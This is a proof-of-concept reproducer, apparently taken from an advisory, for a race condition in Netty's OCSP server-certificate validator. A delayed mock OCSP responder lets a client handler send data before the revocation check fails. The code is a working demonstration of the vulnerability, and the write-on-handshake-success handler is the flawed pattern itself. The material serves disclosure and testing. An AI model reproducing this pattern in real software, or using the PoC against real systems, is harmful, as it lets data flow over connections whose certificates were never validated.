CVE-2026-56822: netty-handler-ssl-ocsp TOCTOU Race in OcspServerCertificateValidator

// Stripped-down reproducer derived from the published advisory PoC.
// A mock OCSP responder returns INTERNAL_ERROR (unresolvable status),
// which forces the async path and widens the TOCTOU window.
//
// The client downstream handler writes SECRET_DATA the moment it sees
// SslHandshakeCompletionEvent.isSuccess() == true, BEFORE the OCSP
// future resolves. The server receives the payload even though the
// channel is later closed by the failed OCSP check.

// 1. Build a minimal OCSP response with INTERNAL_ERROR status
OCSPRespBuilder respBuilder = new OCSPRespBuilder();
OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
byte[] responseEncoded = response.getEncoded();

// 2. Downstream handler on the client side -- fires on handshake success
new ChannelInboundHandlerAdapter() {
    @Override
    public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
        if (evt instanceof SslHandshakeCompletionEvent) {
            SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
            if (sslEvent.isSuccess()) {
                // Fires BEFORE the async OCSP check has resolved:
                ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
            }
        }
        ctx.fireUserEventTriggered(evt);
    }
};

// 3. The mock OCSP responder delivers its response after a 500 ms delay,
//    ensuring the write above always wins the race.
ctx.executor().schedule(() -> {
    ctx.pipeline().fireChannelActive();
    DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
        HttpVersion.HTTP_1_1, HttpResponseStatus.OK,
        Unpooled.wrappedBuffer(responseEncoded));
    httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
    httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH,
        httpResponse.content().readableBytes());
    ctx.pipeline().fireChannelRead(httpResponse);
}, 500, TimeUnit.MILLISECONDS);

// Result: server receives "SECRET_DATA" despite the certificate being unvalidatable.